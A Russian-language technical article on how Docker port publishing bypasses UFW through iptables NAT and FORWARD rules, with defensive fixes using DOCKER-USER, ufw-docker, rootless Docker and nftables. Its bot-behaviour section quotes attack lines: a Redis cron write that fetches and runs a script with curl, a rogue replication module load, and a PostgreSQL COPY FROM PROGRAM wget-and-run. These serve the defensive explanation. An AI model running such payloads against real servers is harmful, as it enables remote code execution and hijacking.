Почему UFW не спасает от Docker: анатомия сетевой подставы и что ищут боты в открытых портах БД

Типичная картина при переезде на свежий VPS. Подняли чистую Ubuntu или Debian под новый проект, сразу навели базовый порядок: ufw default deny incoming, снаружи оставили только 22, 80 и 443. Глянули ufw status — всё четко, лишнего не торчит. Дальше ставится Docker, через компоуз взлетает бэкенд с PostgreSQL и Redis. Чтобы удобно ходить в базу с ноута через DBeaver и гонять миграции, на автомате дописываем ports: - "5432:5432". Кажется, что мы в домике: наружу ничего не светит, фаервол же режет всё, кроме веба и SSH.
А через пару дней прилетает абуза от хостера или срабатывает алерт в мониторинге: все ядра в полке, в htop резвится какой‑нибудь kdevtmpfsi или kinsing, а вместо таблиц в базе лежит одна записка README_TO_RECOVER с биткойн‑кошельком. Грабли старые, как сам Docker. Но на них с завидной регулярностью наступают и джуны, и вполне опытные админы, привыкшие доверять выводу ufw status.
С полгода назад я сам так развлекался: поднимал тестовый Qdrant на свежей виртуалке CPX21 в хельсинкском ДЦ Hetzner (2 ядра, 4 гига, Debian 12) — щупал векторный поиск под пет‑проект. Всё сделал по уму: UFW включён, SSH только по ключу, парольная авторизация вырублена, остальное в deny. Накатил компоуз: Qdrant, Redis под очереди, Postgres. Все три — с дефолтными ports:. Отошёл налить кофе. Возвращаюсь минут через пять, открываю docker logs у Редиса, а там уже висит чужой REPLICAOF на какой‑то IP из китайской автономки.
Сначала вообще подумал, что это глюк или я сам где‑то наследил со старого теста. Полез проверять историю — нет, прилетело с внешки. Между стартом контейнера и первым коннектом бота прошло 1 минута 52 секунды.
И ладно бы это был единичный случай. Дефолтный компоуз с распахнутыми 5432 и 6379 годами лежал в стартере Spree Commerce. В ишью #883 чувак описывает ровно этот же сценарий: поднял стартер на чистом VPS, а через несколько минут в Redis уже жил майнер kdevtmpfsi — база без пароля, порты настежь. Мейнтейнер тогда закрыл тикет с формулировкой «это только для локальной разработки». Технически он прав, конечно. Но сколько народу бездумно укатило этот конфиг в прод, страшно представить.
Давайте залезем в таблицы Netfilter и посмотрим, как именно Docker обходит UFW (с поправкой на то, что поменялось в свежих версиях 28 и 29), глянем по логам, что боты пытаются сделать внутри контейнера в первые полминуты после коннекта, и соберём рабочие способы изоляции, которые не ломают сеть на хосте.
Иллюзия закрытого периметра
Чтобы не теоретизировать, поднимем на тестовом стенде обычный docker-compose.yml с базой и кэшем. Ровно такой кочует из туториала в туториал:
services:
db:
image: postgres:15-alpine
environment:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: password123
ports:
- "5432:5432"
cache:
image: redis:7-alpine
ports:
- "6379:6379"
Запускаем docker compose up -d и сразу смотрим статус фаервола на хосте:
root@prod-vps:~# ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), deny (routed)
New profiles: skip
To Action From
-- ------ ----
22/tcp ALLOW IN Anywhere
80/tcp ALLOW IN Anywhere
443/tcp ALLOW IN Anywhere
22/tcp (v6) ALLOW IN Anywhere (v6)
80/tcp (v6) ALLOW IN Anywhere (v6)
443/tcp (v6) ALLOW IN Anywhere (v6)Выглядит надёжно. Входящие по дефолту deny, транзит (routed) тоже deny, в разрешённых только SSH и веб. Никаких 5432 и 6379 в списке нет. Обычно на этом моменте админ со спокойной душой закрывает терминал и идёт настраивать Nginx.
А база в этот момент уже торчит голой жопой в интернет.
Берём любую внешнюю машину (хоть ноут, подключенный через телефонный хотспот) и стучимся в белый IP нашего сервера неткатом:
user@laptop:~$ nc -zv 85.143.210.xx 5432 6379
Connection to 85.143.210.xx 5432 port [tcp/postgresql] succeeded!
Connection to 85.143.210.xx 6379 port [tcp/redis] succeeded!
Оба порта радостно ответили.
Возвращаемся на сервер, смотрим слушающие сокеты через ss -tulpn:
root@prod-vps:~# ss -tulpn | grep -E '5432|6379'
tcp LISTEN 0 4096 0.0.0.0:6379 0.0.0.0:* users:(("docker-proxy",pid=14512,fd=4))
tcp LISTEN 0 4096 0.0.0.0:5432 0.0.0.0:* users:(("docker-proxy",pid=14489,fd=4))
tcp LISTEN 0 4096 [::]:6379 [::]:* users:(("docker-proxy",pid=14519,fd=4))
tcp LISTEN 0 4096 [::]:5432 [::]:* users:(("docker-proxy",pid=14496,fd=4))
На всех интерфейсах IPv4 (0.0.0.0) и IPv6 ([::]) висят процессы docker-proxy. Но сам факт того, что сокет слушается, ещё не объясняет главного: какого лешего пакеты с внешки вообще долетают до контейнеров, если в UFW стоит жёсткий deny и на вход, и на роутинг?
Тут придётся спуститься на уровень ядра.
Что происходит под капотом: Netfilter, PREROUTING и INPUT
Сам по себе UFW — это просто питоновская обёртка над старым добрым iptables (или над nftables через прослойку iptables-nft в свежих дистрибутивах). Когда вы пишете ufw allow или ufw deny, он складывает правила фильтрации входящих коннектов в цепочку INPUT таблицы filter.
По логике работы Netfilter в цепочку INPUT попадают только те пакеты, которые адресованы непосредственно самому хосту. Прилетел пакет с сетевой карты → ядро посмотрело на Destination IP → увидело там адрес своего локального интерфейса → отправило пакет в INPUT, где его уже ждут цепочки ufw-before-input и ufw-user-input.
Но как только в систему встаёт dockerd, схема ломается. Демон включает в ядре маршрутизацию (net.ipv4.ip_forward = 1), поднимает виртуальные мосты (docker0 и отдельные br-xxxx под каждый компоуз‑стек) и раздаёт контейнерам внутренние адреса из подсетей вроде 172.18.0.0/16. А чтобы проброс портов работал, Docker лезет в таблицу nat, в цепочку PREROUTING.
Вся суть PREROUTING в том, что она перехватывает пакет на самом входе с сетевухи — ещё до того, как ядро примет решение о маршрутизации (Routing Decision) и разберётся, локальный это трафик или транзитный.
Смотрим, что Docker навертел в таблице nat:
root@prod-vps:~# iptables -t nat -L -n -v
Chain PREROUTING (policy ACCEPT 194 packets, 14820 bytes)
pkts bytes target prot opt in out source destination
612 38404 DOCKER all -- * * 0.0.0.0/0 0.0.0.0/0 ADDRTYPE match dst-type LOCAL
Chain DOCKER (2 references)
pkts bytes target prot opt in out source destination
0 0 RETURN all -- docker0 * 0.0.0.0/0 0.0.0.0/0
0 0 RETURN all -- br-8f9a1c4b2e10 * 0.0.0.0/0 0.0.0.0/0
3 180 DNAT tcp -- !br-8f9a1c4b2e10 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:5432 to:172.18.0.2:5432
1 60 DNAT tcp -- !br-8f9a1c4b2e10 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:6379 to:172.18.0.3:6379
И вот здесь происходит главный фокус.
Когда снаружи на белый IP сервера (85.143.210.xx) стучится пакет на порт 5432, он залетает в PREROUTING, проваливается в цепочку DOCKER и попадает под правило DNAT (Destination NAT). Прямо в этой точке ядро на лету переписывает адрес назначения в заголовке пакета с 85.143.210.xx на внутренний IP контейнера — 172.18.0.2.
Дальше пакет доходит до развилки маршрутизации. Ядро смотрит на уже новый адрес (172.18.0.2) и понимает: ага, это не мой локальный IP, это адрес из подсети за виртуальным бриджем. А раз пакет идёт транзитом в другую сеть, то в цепочке INPUT ему делать нечего. Он отправляется прямиком в FORWARD таблицы filter.
Если нарисовать это на салфетке, путь пакета выглядит так:

Тут логичный вопрос: окей, пакет ушёл в транзит, но ведь в статусе UFW у нас было написано Default: deny (routed). Почему он не дропается в FORWARD?
Да потому что Docker при старте пихает свои цепочки в самый верх FORWARD, строго перед правилами UFW:
root@prod-vps:~# iptables -t filter -L FORWARD -n --line-numbers
Chain FORWARD (policy DROP)
num target prot opt source destination
1 DOCKER-USER all -- 0.0.0.0/0 0.0.0.0/0
2 DOCKER-FORWARD all -- 0.0.0.0/0 0.0.0.0/0
...
8 ufw-before-logging-forward all -- 0.0.0.0/0 0.0.0.0/0
9 ufw-before-forward all -- 0.0.0.0/0 0.0.0.0/0Примечание: если у вас Docker старее 28-й версии, вместо
DOCKER-FORWARDтам будут висеть старые цепочкиDOCKER-ISOLATION-STAGE-1/2, которые окончательно вычистили только в релизе 29.0, плюс прямой прыжок в цепочкуDOCKER. Суть от этого не меняется.
Пакет доходит до второй строчки, ныряет в DOCKER-FORWARD → DOCKER, находит там разрешающий ACCEPT для порта 5432 и спокойно пролетает в контейнер. До 8-й и 9-й строчек, где живут запреты UFW, очередь вообще не доходит.
Сюрприз со стороны IPv6
Здесь зарыта ещё одна неочевидная грабля, на которой регулярно горят любители мануалов из интернета. Причём стреляет она сразу в двух сценариях.
Сценарий первый: транзитный. Начиная с версии Docker 27.0, управление ip6tables включили по умолчанию. Если вы решили идти в ногу со временем и активировали IPv6 для своих сетей или демон сам подхватил v6-префикс, Docker начинает точно так же штамповать правила DNAT в ip6tables. И весь транзитный IPv6-трафик улетает в цепочку FORWARD в обход UFW ровно по той же схеме, что и четвёрка.
Допустим, админ узнал про цепочку DOCKER-USER, радостно накидал туда запрещающих правил через привычный iptables, проверил снаружи через nc -zv <IPv4> 5432 — ура, порт отбит! И со спокойной совестью ушёл спать. А про ip6tables банально забыл.
Сценарий второй: локальный прокси. Даже если ваши контейнеры живут исключительно на IPv4, дефолтный docker-proxy на хосте всё равно по умолчанию биндится сразу на оба стека, включая сокет вида [::]:5432:
root@prod-vps:~# ss -tulpn | grep 5432
tcp LISTEN 0 4096 0.0.0.0:5432 0.0.0.0:* users:(("docker-proxy",pid=14489,fd=4))
tcp LISTEN 0 4096 [::]:5432 [::]:* users:(("docker-proxy",pid=14496,fd=4))Да, в этом случае правил DNAT в ip6tables нет, и пакет с внешки пойдёт по стандартному пути в цепочку INPUT самого хоста. Если у вас включён UFW с дефолтным конфигом, он этот пакет честно прихлопнет. Но если вы крутите фаервол руками через скрипты iptables, или когда‑то по старым гайдам поставили IPV6=no в /etc/default/ufw («чтобы не мешался»), происходит магия: пакет по IPv6 беспрепятственно залетает в сокет docker-proxy в пространстве пользователя, а тот заботливо перекладывает его внутрь IPv4-контейнера.
Учитывая, что большинство облаков вроде Hetzner раздают публичную /64 подсеть из коробки, ситуация становится комичной: по IPv4 база наглухо закрыта вашими правилами, а по «шестёрке» сервер распахнут настежь для любого сканера, который умеет парсить AAAA‑записи или чесать v6-диапазоны хостера.
Проверяется элементарно с любой внешней машины с поддержкой IPv6:
nc -6 -zv 2a01:4f8:c17:7e4::xx 5432Если порт ответил SYN-ACK — у вас парадная дверь на замке, а балкон нараспашку. Мораль простая: не отключайте фильтрацию IPv6 на хосте, а любое правило, которое вы пишете для защиты Докера, обязательно зеркальте в ip6tables (или закрывайте на уровне единых таблиц семейства inet в современном nftables, но об этом ниже).
Полминуты после деплоя: что делают боты внутри БД
От разработчиков, которые сами поднимают инфру под пет‑проекты или dev‑стенды, я часто слышу один и тот же аргумент: «Да кому нужен мой тестовый VPS? IP свежий, домены на него не привязаны, в паблике не светился, никто про него не знает».
Знают. Причём узнают обычно быстрее, чем Postgres успевает дописать в лог database system is ready to accept connections.

Диапазоны IP всех популярных облаков — Hetzner, DigitalOcean, AWS, Vultr, да и наших российских хостеров — в режиме 24/7 прочёсывают сканерами вроде masscan и zmap. Лупят по стандартному набору портов: 22, 2375 (забытый сокет Docker API), 3306, 5432, 6379, 9200, 27017, 5984. Как только порт отдаёт SYN-ACK, IP‑адрес тут же падает в очередь к скрипту автоэксплуатации. От момента старта контейнера до прилёта первого боевого пейлоада иногда проходит секунд тридцать. У меня в истории с Qdrant вышло меньше двух минут.
Давайте посмотрим, что происходит внутри двух самых частых жертв.
Пациент № 1: Redis (6379)
В официальном образе Редиса пароля по умолчанию нет. Формально там включён protected-mode yes, и если поставить Redis просто на голый хост, он честно отобьёт внешние коннекты при пустом пароле. Но эта защита проектировалась от ситуации «забыл забиндить на localhost», а не когда порт проброшен через Docker‑сеть. Плюс в половине туториалов и ответов на StackOverflow людям советуют: «Не коннектится к Редису? Допиши в конфиг protected-mode no или передай флагом в command:».
Как только бот находит открытый 6379 без авторизации, он первым делом часто лупит FLUSHALL — тупо чистит память и сносит следы конкурирующих группировок.
Что происходит дальше, сильно зависит от версии вашего образа. На свежем redis:7-alpine (как у меня на стенде) сходу получить RCE у бота не выйдет: в седьмой ветке разработчики наконец‑то закрутили гайки и по дефолту вырубили опасные директивы (enable-module-command no, enable-debug-command no), а сам процесс внутри контейнера крутится от бесправного юзера redis. Максимум, что сделает скрипт на дефолтной семёрке — снесёт вам кэш и подвесит инстанс вечной репликой к какому‑нибудь левому хосту.
Но если в прод уехал старый образ (5.x / 6.x), чья‑то кастомная сборка, работающая от root, или внутрь контейнера криво проброшены вольюмы с хоста, для бота это практически готовый шелл. В ход идут три проверенных метода.
Запись на диск через подмену путей дампа. Старый дедовский способ. Бот на лету меняет рабочую директорию и имя файла дампа, чтобы положить свой SSH‑ключ в ~/.ssh или закинуть задание в крон:
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SET x "\n\n*/1 * * * * curl -fsSL http://185.220.101.xx/sh | sh\n\n"
SAVEЕсли Redis запущен от рута или у него почему‑то есть права на запись в системные папки, демон крона проглотит RDB‑файл, проигнорирует бинарный мусор в начале и каждую минуту будет дёргать curl.
Пробитие песочницы Lua. Тут эксплуатируют старые баги вроде CVE-2022-0543. Что интересно, это был даже не баг самого Redis, а косяк мейнтейнеров пакетов в Debian и Ubuntu: через EVAL можно было дотянуться до динамической системной библиотеки liblua, вытащить оттуда package.loadlib и выполнить любую команду в шелле в обход песочницы. В легковесных alpine‑образах этой дыры не было, а вот в сборках на базе debian в своё время поломали тысячи серверов.
Загрузка вредоносного модуля через репликацию. Это основной вектор для всех незащищённых инстансов вплоть до 7-й версии. Когда права на запись порезаны и в /etc ничего не положишь, бот присылает команду REPLICAOF 185.220.101.xx 6379. Ваш Redis послушно соединяется с фейковым мастером и тянет оттуда «дамп для синхронизации», который на самом деле представляет собой скомпилированную сишную библиотеку (exp.so), сохраняемую в /data. Следом летит MODULE LOAD /data/exp.so, в базе регистрируется кастомная команда system.exec, и атакующий получает полноценное выполнение кода внутри контейнера.
Пациент № 2: PostgreSQL (5432)
С Постгресом всё ещё прозаичнее. В локальных компоуз‑файлах никто не генерит сложные пароли — там сплошь postgres:postgres, postgres:root, postgres:123456, admin или password. Простенький брутфорсер прогоняет словарь из топ-50 таких связок за пару секунд.
Когда пароль подобран и бот зашёл под дефолтным суперпользователем postgres, никакие эксплойты ему вообще не нужны. Начиная с версии 9.3 в СУБД есть совершенно легальная фича COPY ... FROM PROGRAM, которая позволяет читать данные напрямую из вывода любого системного процесса. Доступна она только суперюзеру (или членам роли pg_execute_server_program с 11-й версии), но дефолтный postgres — как раз суперюзер.
В логах взломанной базы всегда остаётся один и тот же след:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'sh -c "wget -q -O - http://45.132.19.xx/p.sh | sh"';Постгрес сам заботливо форкает /bin/sh и запускает скачанный дроппер с правами системного пользователя postgres.
Зачем майнерам ваш nvidia‑smi
Если повесить на 5432 или 6379 простой хонипот и посмотреть, какие команды выполняет скрипт сразу после получения шелла, там всегда будет примерно один и тот же чек‑лист первичной разведки:
uname -a
uptime -p
cat /proc/cpuinfo | grep "model name" | uniq
lscpu
free -m
nvidia-smi -L
lspci | grep -i -E "vga|3d|display"
С первыми строчками всё понятно: боту нужно определить архитектуру (x86_64 или ARM) и количество ядер, чтобы стянуть подходящий бинарник XMRig и начать греть процессор об Monero. Но посмотрите на две последние команды — скрипт целенаправленно ищет видеокарты через nvidia-smi и lspci.
Дело в том, что копать Monero на двух чахлых ядрах пятибаксовой виртуалки сегодня почти бессмысленно: выхлоп копеечный, а антифрод любого нормального облака банит виртуалку за 100% CPU в течение нескольких часов. Зато на волне бума локальных LLM и нейросетей разработчики массово арендуют жирные серверы с GPU (RTX 4090, A100, H100) и точно так же разворачивают там рабочее окружение в Docker: векторные базы (Qdrant, Milvus, Weaviate), Redis под очереди задач, Postgres, Jupyter. И по старой привычке прокидывают порты наружу.
Если скрипт видит, что в контейнер через --gpus all проброшена живая карта NVIDIA, тупой CPU‑майнер туда часто даже не ставят, чтобы не палить контору перед мониторингом. На машину тихо сажают бэкдор или реверс‑шелл, а доступ сливают с рук: либо под скрытый GPU‑майнинг, либо ребятам, которые гоняют чужие мощности под инференс и файнтюнинг сеток. Один такой скомпрометированный инстанс на Vast.ai или Lambda Labs окупает месяцы работы сканера.
Как закрыть дыру: четыре нормальных пути и один вредный совет
В зависимости от архитектуры проекта — нужна ли вам база снаружи или весь стек крутится на одной машине — проблема решается на разных уровнях.
Вариант 1. Бинд на 127.0.0.1 и internal‑сети (закрывает 90% задач)
Когда мы пишем короткое ports: - "5432:5432", Docker разворачивает это в 0.0.0.0:5432:5432. Если порт на самом хосте нужен только локальному бэкенду (который крутится в systemd вне докера) или вам самим, чтобы цепляться с ноута через SSH‑туннель (ssh -L 5432:127.0.0.1:5432 user@server), просто укажите локалхост явно:
services:
db:
image: postgres:15-alpine
ports:
- "127.0.0.1:5432:5432"
После этого правило DNAT в цепочке PREROUTING будет срабатывать только для пакетов с адресом назначения 127.0.0.1. С внешнего интерфейса туда уже не пробиться.
Любопытный нюанс: до выхода Docker 28.0 даже с биндом на 127.0.0.1 оставалась лазейка в пределах одного L2-сегмента сети. Сосед по свитчу в дата‑центре мог скрафтить пакет на ваш MAC‑адрес с заголовком назначения 127.0.0.1, и докерный DNAT в PREROUTING перехватывал его раньше, чем ядро успевало дропнуть пакет как «марсианский». В релизе 28.0.0 это наконец починили: теперь демон автоматом вешает жёсткий DROP в таблице raw цепочки PREROUTING для любых пакетов на loopback, прилетевших не с интерфейса lo.
А ещё надёжнее — вообще выкинуть секцию ports у баз данных и очередей.
Если бэкенд и база живут в одном docker-compose.yml, публиковать порт на хост не нужно в принципе. Разведите их по внутренним сетям компоуза:
services:
backend:
build: ./app
networks:
- frontend_net
- db_net
db:
image: postgres:15-alpine
# никаких ports наружу
networks:
- db_net
networks:
frontend_net:
driver: bridge
db_net:
driver: bridge
internal: true
Бэкенд спокойно достучится до базы по внутреннему DNS‑имени db:5432. Для внешнего мира этого порта не существует. А флаг internal: true на сети db_net даёт отличный бонус к безопасности: он полностью отрезает контейнеру с базой выход в интернет. Даже если в вашем коде найдут SQL‑инъекцию и скормят Постгресу COPY ... FROM PROGRAM 'curl ...', команда тупо зависнет на попытке резолва и скачивания малвари — маршрута наружу у контейнера нет.
К слову, в Docker 28 для внутренних сетей завезли ещё и опцию драйвера gateway_mode_ipv4=isolated — она вообще убирает IP‑адрес шлюза с бриджа на хосте, так что из пробитого контейнера нельзя будет простучать даже сервисы самого хоста, слушающие 0.0.0.0.
Вредный совет из интернета: «iptables»: false
В выдаче гугла до сих пор в самом верху висят статьи с рецептом: «Чтобы Docker не ломал правила UFW, просто пропишите "iptables": false в /etc/docker/daemon.json».

Никогда не делайте так на рабочих серверах.
Да, Docker действительно перестанет трогать Netfilter и открывать порты в обход фаервола. Вот только вместе с этим он перестанет создавать правила MASQUERADE (Source NAT) в цепочке POSTROUTING. В эту же секунду все ваши контейнеры потеряют доступ в интернет: бэкенд не сможет дёрнуть внешний API оплаты, отвалится отправка уведомлений в Telegram, а любой docker build упадёт на первом же apt-get update.
Я лично наблюдал, как человек по такому гайду «починил» фаервол на проде, а потом полдня с красными глазами искал, почему у него отвалился CI/CD при сборке образов. Руками прописывать и поддерживать правила NAT для всех динамических бриджей компоуза — занятие для очень специфических ценителей боли.
Вариант 2. Когда порт реально нужен снаружи: цепочка DOCKER‑USER
Бывают ситуации, когда порт контейнера всё‑таки необходимо выставить в интернет, но пустить туда нужно только своих. Например, бэкенд крутится на одной виртуалке, тяжёлая БД в докере — на другой, а натягивать между ними WireGuard ради одного коннекта прямо сейчас некогда. Задача: разрешить доступ с одного белого IP (195.88.54.xx), а всех остальных отшить.
Для этого в классическом iptables‑бэкенде Докера предусмотрена специальная цепочка DOCKER-USER. Её вызов всегда висит первой строчкой в FORWARD — до любых автогенерируемых правил самого Докера. И главное: при перезапуске контейнеров или самого демона Docker не трогает и не затирает то, что вы написали внутри DOCKER-USER.
Смотрим, как у нас называется внешний сетевой интерфейс (через ip route show default, пусть будет классический eth0), и накидываем правила:
# чистим дефолтный RETURN, который висит в пустой цепочке
iptables -F DOCKER-USER
# пропускаем уже установленные соединения и ответные пакеты,
# чтобы сами контейнеры могли нормально ходить в интернет
iptables -A DOCKER-USER -i eth0 -m conntrack --ctstate RELATED,ESTABLISHED -j RETURN
# пускаем наш доверенный сервер (195.88.54.xx) к порту 5432
# важно: матчим порт через --ctorigdstport (до применения DNAT),
# обычный --dport тут сломает голову, если внешний и внутренний порты отличаются
iptables -A DOCKER-USER -i eth0 -s 195.88.54.xx/32 -p tcp -m conntrack --ctorigdstport 5432 -j RETURN
# весь остальной входящий трафик с внешней сетевухи в сторону докера рубим
iptables -A DOCKER-USER -i eth0 -j DROP
# возвращаем дефолтный RETURN в самый конец для локального и межконтейнерного трафика
iptables -A DOCKER-USER -j RETURN
С этим --ctorigdstport я в своё время сам просидел целый вечер: написал правило с обычным --dport, а пакеты от доверенного IP всё равно улетали в DROP. Оказалось, что к моменту попадания пакета в FORWARD он уже прошёл процедуру DNAT в PREROUTING, и целевой порт в заголовке сменился на внутренний порт контейнера. А модуль conntrack помнит изначальный порт, на который стучался клиент.
Само собой, если у вас Nginx или Traefik на 80/443 портах тоже живут внутри контейнеров, перед строчкой с DROP не забудьте добавить аналогичные правила RETURN для ‑ctorigdstport 80 и 443 без ограничения по ‑s, иначе потушите веб.
Почему в правилах мы делаем прыжок на RETURN, а не сразу ACCEPT? Так мы просто говорим ядру: «Проверка пройдена, выходи из DOCKER-USER обратно в FORWARD и дальше обрабатывай пакет по штатным цепочкам Докера».
Один момент с сохранением: не делайте netfilter-persistent save в лоб при запущенном Докере. Иначе в статический конфиг сохранятся вообще все временные цепочки запущенных в данный момент контейнеров, и после ребута сервера в таблицах будет каша. Гораздо проще закинуть эти пять команд в небольшой bash‑скрипт и вызывать его через systemd‑юнит с привязкой After=docker.service.
И обязательно дублируем то же самое для IPv6:
ip6tables -F DOCKER-USER
ip6tables -A DOCKER-USER -i eth0 -m conntrack --ctstate RELATED,ESTABLISHED -j RETURN
ip6tables -A DOCKER-USER -i eth0 -s 2a01:4f8:c17:7e4::xx/128 -p tcp -m conntrack --ctorigdstport 5432 -j RETURN
ip6tables -A DOCKER-USER -i eth0 -j DROP
ip6tables -A DOCKER-USER -j RETURN
Вариант 3. Дружим Docker со штатным UFW: ufw‑docker
Если писать портянки на голом iptables нет никакого желания, а хочется рулить доступом к контейнерам привычными командами ufw, есть проверенный временем рецепт из репозитория chaifeng/ufw‑docker.
Механика там простая: мы берём стандартный файл /etc/ufw/after.rules (UFW накатывает его в самом конце инициализации) и прямо внутри него переопределяем цепочку DOCKER-USER, заворачивая проверку транзитных пакетов обратно в цепочки UFW.
В оригинальном репозитории автор пытается закрыть всё через перечисление приватных IP‑адресов, чтобы не зависеть от имени сетевой карты. Но это опасная стратегия: если ваш хостер использует «серые» подсети для внутренних нужд, этот фаервол их просто проигнорирует.
Намного надежнее явно указать внешний сетевой интерфейс (eth0), чтобы весь входящий трафик из интернета принудительно заворачивался на проверку в UFW. Для этого допишите в конец /etc/ufw/after.rules вот такой блок:
# BEGIN UFW AND DOCKER
*filter
:ufw-user-forward - [0:0]
:ufw-docker-logging-deny - [0:0]
:DOCKER-USER - [0:0]
-A DOCKER-USER -j ufw-user-forward
-A DOCKER-USER -m conntrack --ctstate RELATED,ESTABLISHED -j RETURN
-A DOCKER-USER -m conntrack --ctstate INVALID -j DROP
-A DOCKER-USER -i eth0 -m conntrack --ctstate NEW -j ufw-docker-logging-deny
-A ufw-docker-logging-deny -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW DOCKER BLOCK] "
-A ufw-docker-logging-deny -j DROP
COMMIT
# END UFW AND DOCKERНе забудьте поменять
eth0на реальное имя вашего публичного интерфейса, которое можно подсмотреть командойip route show default. А для защиты IPv6 добавьте точно такой же блок в файл/etc/ufw/after6.rules
Перезапускаем фаервол через systemctl restart ufw. Как теперь пойдёт трафик? Любой новый пакет с внешнего интерфейса, который пробился через DNAT в сторону контейнера, внутри DOCKER-USER первым делом отправляется на проверку в цепочку ufw-user-forward. Если вы явно не разрешили этот маршрут в UFW, пакет доходит до правила с --ctstate NEW и молча дропается (с записью в системный лог). Даже если кто‑то из разработчиков по запарке раскомментировал в компоузе 0.0.0.0:5432:5432, снаружи порт останется закрытым.
А открывать доступ нужным хостам теперь можно штатным синтаксисом маршрутизации UFW:
ufw route allow proto tcp from 195.88.54.xx to any port 5432
Правда, тут нужно держать в голове две особенности. Во‑первых, поскольку ufw-user-forward вызывается уже после отработки DNAT в PREROUTING, в правиле ufw route allow всегда нужно указывать внутренний порт контейнера (5432), даже если наружу вы его пробросили нестандартно, типа 15432:5432. А во‑вторых, конструкция to any port 5432 откроет этот порт до любого контейнера на хосте, где слушается 5432. Можно, конечно, указать конкретный IP контейнера (to 172.18.0.2 port 5432), но при следующем docker compose down / up этот IP может измениться.
Поэтому либо жёстко фиксируйте IP‑адреса в компоузе через ipv4_address, либо используйте комплектную утилиту из репы ufw-docker (командами вида ufw-docker allow httpd 80, только не делайте ufw-docker install, чтобы не затереть наш конфиг в after.rules) — скрипт сам сходит в Docker API, узнает текущий IP контейнера и пропишет точечное правило в фаервол.
Вариант 4. Радикальный: rootless Docker и нативный nftables в Docker 29+
Вся эта головная боль с DOCKER-USER существует по одной простой причине: стандартный демон Докера работает от root, обладает правами CAP_NET_ADMIN и хозяйничает в сетевом стеке ядра как у себя дома. Но если перевести Docker в rootless‑режим (dockerd-rootless-setuptool.sh install), проблема обхода фаервола исчезает как класс.
В rootless‑режиме и сам демон, и все контейнеры запускаются внутри пользовательского неймспейса (через обвязку RootlessKit и юзерспейсные сетевые бэкенды slirp4netns или более свежий и быстрый pasta). У непривилегированного демона физически нет прав менять правила iptables или nftables на хосте. Когда вы публикуете порт контейнера, он открывается на хосте как обычный пользовательский сокет от имени вашего юзера. А это значит, что весь входящий трафик к нему идёт не в транзитный FORWARD, а в стандартный INPUT — то есть попадает напрямую под действие обычных правил UFW. Всё, что закрыто в ufw status, будет реально закрыто снаружи безо всяких правок after.rules.
Единственный подводный камень rootless‑режима, о который многие спотыкаются: дефолтный порт‑драйвер (builtin) при пробросе пакетов теряет исходные IP‑адреса клиентов и подменяет их на 127.0.0.1 (в логах контейнера с Nginx все посетители будут выглядеть как локалхост). Чтобы сохранить реальные IP, нужно переключить порт‑драйвер RootlessKit на slirp4netns или pasta через переменную окружения DOCKERD_ROOTLESS_ROOTLESSKIT_PORT_DRIVER в пользовательском юните systemd. На гигабитных каналах у сети в пространстве пользователя будет заметный оверхед по процессору, но для большинства обычных веб‑проектов и небольших баз это самый чистый в плане безопасности вариант.
Что поменялось в Docker 29+ с приходом нативного nftables

Долгое время Docker даже на свежих дистрибутивах управлял сетью через легаси‑прослойку iptables-nft. Но в релизе Docker 29.0 разработчики наконец выкатили экспериментальный нативный бэкенд, который включается опцией "firewall-backend": "nftables" в daemon.json.
Если решите пощупать его на своих серверах, имейте в виду главное: в новых нативных таблицах table ip docker-bridges и table ip6 docker-bridges цепочки DOCKER-USER больше нет. Мейнтейнеры Moby отказались от неё сознательно — в архитектуре nftables каждый сервис должен крутить свои правила в собственной изолированной таблице, не залезая в чужие. Соответственно, все старые скрипты и рецепты на базе ufw-docker при переключении на этот бэкенд превращаются в тыкву.
Чтобы фильтровать внешний трафик к контейнерам на чистом nftables, теперь не нужно лезть в правила самого Докера. Вместо этого мы создаём свою собственную таблицу (например, в /etc/nftables.conf) с базовой цепочкой на хуке forward и выставляем ей приоритет чуть раньше, чем у таблиц Докера (у него стандартный 0, а мы поставим filter - 10, то есть -10).
В nftables вердикт drop является фатальным и окончательным: если вы прибили нежелательный пакет в своей ранней таблице на подходе, до разрешающих правил Докера он уже никогда не дойдёт. А если пакет прошёл вашу проверку и получил accept, он спокойно пойдёт дальше по цепочке в таблицу docker-bridges, где штатное правило проброса порта пустит его в контейнер.
Вот как выглядит замена классическому DOCKER-USER для защиты порта БД на современном стеке:
# Дописываем в /etc/nftables.conf (и применяем через nft -f /etc/nftables.conf)
# Семейство inet сразу закрывает оба стека — и IPv4, и IPv6!
table inet my_docker_guard {
chain forward_check {
# Приоритет filter - 10 (-10) гарантирует, что мы проверим пакет РАНЬШЕ Докера (0)
type filter hook forward priority filter - 10; policy accept;
# 1. Пропускаем ответные пакеты и уже установленные соединения
ct state established,related accept
# 2. Пускаем наш доверенный сервер к порту 5432
# (conntrack помнит оригинальный порт назначения ещё до того, как сработал DNAT)
iifname "eth0" ip saddr 195.88.54.xx tcp dport 5432 accept
# Если внешний и внутренний порты контейнера отличаются (например, 15432:5432),
# можно матчить порт до DNAT: ct original proto-dst 15432 accept
# 3. Весь остальной входящий трафик с внешней сетевухи в сторону мостов Докера — рубим
iifname "eth0" oifname { "docker0", "br-*" } drop
}
}Посмотрите, насколько это изящнее легаси‑подхода с iptables:
За счёт семейства таблиц
inetмы одним правилом закрываем сразу и IPv4, и IPv6 — больше не нужно держать в голове две отдельные утилиты и дублировать конфиги.В
oifname { "docker0", "br-*" }используется нативный матчинг интерфейсов по маске: правило автоматически накроет и дефолтный мост, и вообще все будущие сетиdocker compose, которые вы поднимете через полгода.При перезапуске демона Docker пересобирает только свои таблицы
docker-bridges, а нашаmy_docker_guardпродолжает железобетонно висеть в ядре.
Для совсем экзотических сценариев, когда нужно не заблокировать, а наоборот — принудительно протолкнуть транзитный трафик сквозь внутренние запреты самого Докера, в релизе 29.0 завезли флаг демона
--bridge-accept-fwmark. Вы вешаете меткуmeta mark set ...на пакет в своей таблице, а Docker, видя её, пропускает пакет в бридж без вопросов
Пока что нативный nftables‑бэкенд в Докере помечен как experimental, но вектор развития понятен уже сейчас: эпоха костылей вокруг DOCKER-USER постепенно уходит в прошлое.
